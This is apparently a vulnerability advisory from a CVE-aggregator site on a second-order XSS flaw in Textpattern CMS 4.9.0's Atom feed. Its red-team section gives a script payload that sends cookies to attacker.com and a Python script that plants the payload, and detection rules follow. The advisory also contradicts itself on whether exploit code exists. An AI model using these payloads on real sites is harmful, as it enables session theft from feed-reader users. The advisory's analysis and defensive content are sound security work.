CVE-2026-32986
Executive Summary
CVE-2026-32986 is a second-order cross-site scripting (XSS) vulnerability in Textpattern CMS version 4.9.0. The flaw resides in improper sanitization of user-supplied input within Atom feed XML elements. Attackers can inject unescaped payloads into parameters such as category, which are then reflected into Atom feed fields like <title> and <summary>. When feed readers or CMS aggregators consume the malicious feed and insert content into the DOM using unsafe methods, the injected JavaScript executes in the context of the victim's browser. This vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks against Textpattern-based sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Textpattern CMS is a PHP-based content management system distributed via its official website and GitHub repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The vulnerability is inherent to the core application code, not a third-party dependency. Users should monitor the official Textpattern repository for patch releases.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must consume the malicious feed.
- Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for user interaction (feed consumption) reduces immediate risk, but the lack of a patch and the potential for widespread exploitation via feed syndication networks elevates concern.
Deep Dive & Mechanics
The vulnerability is a second-order XSS (also known as stored XSS via a secondary vector). The attack flow is as follows:
Injection Point: An attacker with author-level access (or via a compromised account) creates or edits an article in Textpattern CMS. They inject a malicious JavaScript payload into a field that is later used in Atom feed generation, such as the
categoryparameter. The application fails to properly sanitize or escape this input before storing it in the database.Feed Generation: When the Atom feed is generated (e.g.,
/atom.xml), the stored payload is included in XML elements like<category term="...">or<title>. Because the payload is not escaped, it becomes part of the XML structure.Consumption: A feed reader or CMS aggregator (e.g., WordPress, Feedly, or a custom script) fetches the malicious Atom feed. If the aggregator uses unsafe DOM insertion methods (e.g.,
innerHTMLordocument.write) to render feed content, the injected script executes in the context of the aggregator's domain.Impact: The attacker can steal cookies, session tokens, perform actions on behalf of the victim, or deface the aggregator's interface.
Root Cause: The atom_helper.php or similar feed generation script does not apply htmlspecialchars() or equivalent escaping to user-supplied data before embedding it in XML output. This allows raw HTML/JavaScript to be interpreted as code.
Vulnerable vs. Patched Code
Vulnerable Code (Textpattern 4.9.0):
// In atom_helper.php (simplified)
$category = $article['category'];
echo "<category term=\"$category\" />";
The $category value is directly interpolated into the XML without escaping. An attacker can set category to "><script>alert(1)</script><".
Patched Code (Hypothetical Fix):
// Patched version
$category = htmlspecialchars($article['category'], ENT_QUOTES, 'UTF-8');
echo "<category term=\"$category\" />";
This escapes special characters (&, ", <, >) preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Textpattern CMS 4.9.0 instance with author-level credentials.
- A feed reader or aggregator that renders Atom feeds unsafely.
Steps:
- Log in to Textpattern as an author.
- Create a new article. In the
Categoryfield, inject the following payload:"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><" - Publish the article.
- Obtain the Atom feed URL (e.g.,
http://target.com/atom.xml). - Submit this feed URL to a victim's feed reader or aggregator.
- When the victim's reader fetches and renders the feed, the script executes, exfiltrating cookies.
Proof-of-Concept (PoC) Script:
import requests
target = "http://target.com"
session = requests.Session()
# Login (replace with actual credentials)
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/textpattern/index.php", data=login_data)
# Create article with malicious category
payload = "\"><script>alert('XSS')</script><"
article_data = {
"title": "Test Article",
"body": "This is a test.",
"category": payload,
"publish": "Publish"
}
session.post(f"{target}/textpattern/index.php?event=article&step=save", data=article_data)
print(f"Malicious feed: {target}/atom.xml")
Blue Team (Defensive)
Detection:
- Monitor for unusual category names containing HTML tags or JavaScript in database logs.
- Use WAF rules to block requests with suspicious category values (e.g.,
<script,onerror=). - Inspect Atom feed output for unescaped HTML entities.
Mitigation:
- Apply input validation and output encoding (see Remediation).
- Restrict author-level access to trusted users only.
- Use a feed reader that sanitizes DOM insertion (e.g., DOMPurify).
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from feed readers.
- File: Atom feed XML files containing
<script>tags or event handlers (e.g.,onload,onerror). - Log: Database entries in
textpatterntable withcategoryfields containing HTML/JavaScript. - Behavior: Unexpected JavaScript execution in feed reader interfaces.
Example IOC in Atom Feed:
<category term=""><script>alert(1)</script><" />
Detection Engineering
YARA Rule
rule CVE_2026_32986_Atom_XSS {
meta:
description = "Detects malicious Atom feed entries with unescaped script tags"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-32986"
strings:
$script = /<script[\s>]/ nocase
$category = "<category term="
$unescaped = /<category term="[^"]*<script/
condition:
$category and $unescaped and $script
}
Sigma Rule
title: CVE-2026-32986 - Second-Order XSS via Atom Feed
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP responses containing malicious Atom feed entries with unescaped script tags
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
response.body|contains: '<category term="'
response.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in category names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-32986 - Second-Order XSS via Atom Feed"; flow:to_server,established; content:"<category term="; http_client_body; content:"<script"; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Atom feeds if not required: Remove or comment out the feed generation endpoint (e.g.,
atom.xml). - Restrict author permissions to only trusted users.
- Apply input validation on the server side: Reject category names containing
<,>,", or&unless properly escaped.
Long-term Fix:
- Upgrade to a patched version once released by Textpattern.
- Implement output encoding in all feed generation scripts using
htmlspecialchars()withENT_QUOTESandUTF-8. - Use a Content Security Policy (CSP) header to mitigate XSS in feed readers.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious payloads:
location /atom.xml {
if ($arg_category ~* "<script") {
return 403;
}
}
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.